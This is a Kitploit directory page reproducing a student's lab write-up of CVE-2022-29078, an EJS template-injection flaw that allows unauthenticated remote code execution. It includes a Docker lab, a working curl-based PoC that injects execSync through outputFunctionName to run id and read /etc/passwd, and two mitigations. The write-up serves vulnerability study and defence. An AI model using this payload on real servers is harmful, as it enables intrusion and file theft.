Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-29078 — 基于 Docker 的 CVE-2022-29078 PoC:EJS SSTI 通过 outputFunctionName 注入导致未认证远程代码执行。包含复现步骤和两种缓解策略。 | Kitploit
工具/GitHubGitHub/taka3636/cve-2022-29078
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubtaka3636/cve-2022-29078

CVE-2022-29078

基于 Docker 的 CVE-2022-29078 PoC:EJS SSTI 通过 outputFunctionName 注入导致未认证远程代码执行。包含复现步骤和两种缓解策略。

查看仓库
12个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-29078 | EJS SSTI → RCE

White Hat School 第4期 (32班) - 우상범 (@taka3636)


摘要

EJS < 3.1.7 的服务器端模板注入(SSTI)漏洞(CVE-2022-29078)可在无需认证的情况下远程执行服务器上的任意命令(RCE)。本文通过 Docker 搭建漏洞环境,使用 PoC 复现 RCE,并验证两种应对方案(库升级 · 安全传递输入)。


EJS 介绍

EJS(Embedded JavaScript templates)是 Node.js 生态系统中广泛使用的模板引擎。像 <h1>Hello <%= id %></h1> 这样,通过在 HTML 中嵌入 <% %> 标签插入 JavaScript 来生成动态页面。在内部,EJS 会将模板字符串编译为 JavaScript 函数,然后执行该函数生成最终的 HTML。也就是说,它是一个"将文字(模板)转换为可执行代码(函数)"的代码生成器,这一特性正是本漏洞的根本背景。


CVE-2022-29078 介绍

EJS < 3.1.7 会将渲染选项 outputFunctionName 的值未经校验地插入到编译后的函数源码中。如果应用程序将用户输入原样作为渲染选项传递,攻击者就可以污染该选项,从而在服务器上执行任意代码(RCE)。由于无需认证即可在远程完全控制服务器,严重性非常高。

  • 影响版本: EJS < 3.1.7
  • 类型: 服务器端模板注入(SSTI) → 远程代码执行
  • 参考: NVD CVE-2022-29078

环境搭建

root@kitploit:~
EJS/CVE-2022-29078/
├── docker-compose.yml     # 127.0.0.1 바인딩(격리)
├── Dockerfile             # node:18.20.4 (버전 고정)
├── app/
│   ├── server.js          # 취약 Express 앱
│   ├── package.json       # ejs 3.1.6 정확 고정
│   └── views/page.ejs
├── poc.sh                 # PoC 실행 스크립트
└── 1.png ~ 8.png          # 스크린샷
  • 运行时: Node.js 18.20.4 固定
  • 漏洞库: ejs 3.1.6(不带符号精确锁定 — 若使用 ^/~,会安装补丁版本,导致无法复现)
  • Web 框架: express 4.18.2
  • 无需依赖外部自定义镜像,执行一次 docker compose up -d --build 即可搭建完成。


漏洞条件

当以下两个条件同时成立时,攻击才能成立。

  1. 库缺陷: ejs < 3.1.7 将 outputFunctionName 未经校验地作为代码插入
  2. 不安全的用法: 应用将用户输入整体作为渲染选项传递
root@kitploit:~
// app/server.js — 취약 지점
app.get('/page', (req, res) => {
  res.render('page', req.query);   // req.query 전체를 렌더 옵션으로 전달
});

在 res.render('page', req.query) 中,Express 会将用户输入(req.query)整体作为渲染选项传给 EJS。此时,qs 解析器会将 settings[view options][outputFunctionName] 这样的方括号写法解析为嵌套对象,该值随后被合并到 EJS 编译选项 outputFunctionName 中。也就是说,用户植入到选项位置处的代码(函数)会附着在选项上一同传给 EJS。 EJS 会将该值插入到编译函数前面,如下所示:

root@kitploit:~
var <outputFunctionName값> = __append;

如果是正常值,就会像 var myOut = __append; 一样无害;但如果在该值中用分号截断语句并插入代码,那么这段代码会在编译后的函数执行时原样运行。可以在该位置放入 execSync(...),从而读取特定文件或执行系统命令。


复现步骤

前提: 已安装 Docker + Docker Compose,构建时需要联网。

root@kitploit:~
# 1) 클론 후 폴더 이동
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078

# 2) 빌드 및 기동
docker compose up -d --build
docker compose ps

# 3) 정상 동작 확인
curl "http://127.0.0.1:3000/page?id=world"     # -> <h1>Hello world</h1>

# 4) PoC 실행
bash poc.sh

# 5) 정리
docker compose down


PoC 代码

poc.sh — 通过 outputFunctionName 选项注入在服务器上执行三条命令并取回结果。[1] id(执行主体)、[2] /etc/passwd(任意文件读取)、[3] uname(执行位置)。

root@kitploit:~
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"

run() {   # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
  curl -g -s -o /dev/null \
    "${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
  docker compose exec -T vuln-ejs cat /tmp/out
}

echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
  • curl -g : 必需选项,避免将 URL 中的方括号解释为 glob(省略时报 curl: (3) bad range)
  • 编码: 空格 %20、重定向符 > %3E

执行结果

poc.sh 的执行结果。正常请求(id=world)只返回 Hello world,但通过 outputFunctionName 注入的命令会在服务器上执行,其输出被取回。

  • [1] id → uid=0(root) gid=0(root) :注入的命令以 root 权限执行。
  • [2] /etc/passwd → 系统账户文件内容被原样返回 :可读取服务器上的任意文件(机密性受损)。
  • [3] uname → 主机名为 326f6f1b04b3(容器 ID),与 VM 主机名(ubuntu-QEMU-Virtual-Machine)不同 :证明命令是在容器内部而非宿主机上执行的。也就是说,root 权限并非来自 sudo,而是源于漏洞服务器进程(容器内的 node = 默认以 root 运行)。

仅凭一个无需认证的远程请求即可执行 root 权限命令 + 读取任意文件 = CVE-2022-29078。


应对方案

方案 1 — 升级库(根本性应对)

将 package.json 中的 ejs 升级到 3.1.7 或更高版本。3.1.7+ 使用正则表达式 /^[a-zA-Z_$][0-9a-zA-Z_$]*$/ 校验 outputFunctionName,会拒绝分号等非标识符字符,因此同类攻击会在代码执行前被阻断。

root@kitploit:~
Error: outputFunctionName is not a valid JS identifier.

方案 2 — 安全传递输入(应用程序防御)

即使是漏洞版本(3.1.6),只要不将用户输入整体传入,而只传递所需的值,settings[view options] 的合并路径就会消失,选项污染便无法实现。正常功能不受影响。

root@kitploit:~
// 변경 전 (취약)
res.render('page', req.query);
// 변경 후 (안전)
res.render('page', { id: req.query.id });

建议: 库更新(根本性应对)与最小化传递用户输入(纵深防御)应同时落实。此外,以非 root 用户运行容器,可在发生 RCE 时缩小危害范围。


参考

  • NVD - CVE-2022-29078
  • EJS GitHub - mde/ejs
下载工具